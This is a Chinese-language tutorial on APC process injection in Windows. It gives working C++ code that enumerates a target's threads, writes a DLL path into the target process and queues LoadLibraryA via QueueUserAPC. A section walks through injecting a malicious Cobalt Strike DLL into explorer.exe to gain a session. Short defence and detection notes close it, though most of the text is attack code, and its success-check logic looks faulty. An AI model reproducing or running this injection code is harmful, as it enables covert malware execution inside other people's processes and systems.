APC进程注入
字数 1161 2025-08-27 12:33:54
APC进程注入技术详解
1. APC基础概念
APC (Asynchronous Procedure Call) 即异步过程调用,是指函数在特定线程中被异步执行的机制。在Windows操作系统中,APC是一种重要的并发机制。
1.1 APC工作原理
- 每个线程都有一个APC队列
- 当线程进入"可警告等待状态"时,系统会检查其APC队列
- 如果队列中有APC项,系统会依次执行这些回调函数
- 执行完所有APC后,线程才从等待状态返回
1.2 关键API函数
QueueUserAPC函数
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // APC函数地址
HANDLE hThread, // 目标线程句柄
ULONG_PTR dwData // 传递给APC函数的参数
);
相关等待函数(触发APC执行的条件)
- SleepEx
- SignalObjectAndWait
- WaitForSingleObjectEx
- WaitForMultipleObjectsEx
- MsgWaitForMultipleObjectsEx
2. APC注入原理
2.1 注入条件
- 目标进程必须是多线程环境
- 目标进程必须会调用上述等待函数
2.2 注入流程
- 枚举目标进程的所有线程
- 在目标进程内存中分配空间并写入DLL路径
- 获取LoadLibraryA函数地址
- 向每个线程的APC队列插入LoadLibraryA调用
- 当线程进入可警告状态时执行APC,加载DLL
3. 实现步骤详解
3.1 枚举进程线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申请内存空间
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 创建线程快照
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
THREADENTRY32 th32 = { 0 };
th32.dwSize = sizeof(THREADENTRY32);
// 遍历线程
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
3.2 APC注入核心函数
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 1. 在目标进程分配内存
PVOID lpAddr = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 2. 写入DLL路径
WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, strlen(wzDllFullPath)+1, NULL);
// 3. 获取LoadLibraryA地址
PVOID loadLibraryAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 4. 遍历线程插入APC
float fail = 0;
for(int i = dwThreadIdListLength-1; i >= 0; i--)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if(hThread)
{
if(!QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
CloseHandle(hThread);
}
}
// 检查注入结果
if((int)fail == 0 || dwThreadIdListLength/fail > 0.5)
{
return TRUE; // 注入成功
}
return FALSE; // 注入可能失败
}
4. 完整实现代码
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = {0};
wsprintf(szError, "%s Error[%d]\n", pszText, GetLastError());
MessageBox(NULL, szError, "ERROR", MB_OK);
}
// 线程枚举函数(同上)
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 同上...
}
// APC注入函数(同上)
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 同上...
}
int main()
{
ULONG32 ulProcessID = 0;
printf("Input the Process ID:");
cin >> ulProcessID;
CHAR wzDllFullPath[MAX_PATH] = {0};
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
// 设置DLL路径(根据实际修改)
strcpy_s(wzDllFullPath, "C:\\path\\to\\your.dll");
// 获取线程列表
if(!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
{
printf("Can not list the threads\n");
exit(0);
}
// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if(hProcess == NULL)
{
printf("Failed to open Process\n");
return FALSE;
}
// 执行注入
if(!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
return 0;
}
5. 实际应用示例 - 上线Cobalt Strike
-
生成恶意DLL:
- 在Cobalt Strike中创建监听器
- 生成Windows DLL类型的Payload
-
执行注入:
- 编译上述代码为可执行文件
- 运行程序并输入目标进程PID(如explorer.exe)
- 程序会将恶意DLL注入目标进程
-
验证结果:
- 检查Cobalt Strike是否收到会话
- 使用Process Explorer等工具确认DLL已加载
6. 技术要点总结
-
优势:
- 不需要创建远程线程,隐蔽性较好
- 适用于多线程进程
- 不需要修改线程上下文
-
限制:
- 依赖目标线程进入可警告状态
- 对单线程程序效果不佳
- 可能需要多次尝试才能成功
-
防御措施:
- 监控QueueUserAPC调用
- 检查异常的内存分配和写入操作
- 限制进程对关键系统进程的访问权限
7. 扩展知识
-
变种技术:
- Early Bird APC注入
- APC注入结合进程镂空(Process Hollowing)
- APC注入结合DLL反射加载
-
检测方法:
- 检查线程APC队列异常
- 监控LoadLibrary调用来源
- 分析内存中的异常DLL路径
-
高级应用:
- 结合其他注入技术提高成功率
- 使用APC进行无文件攻击
- APC注入结合代码混淆技术
通过掌握APC注入技术,安全研究人员可以更好地理解Windows线程调度机制,同时也能为防御此类攻击提供理论基础。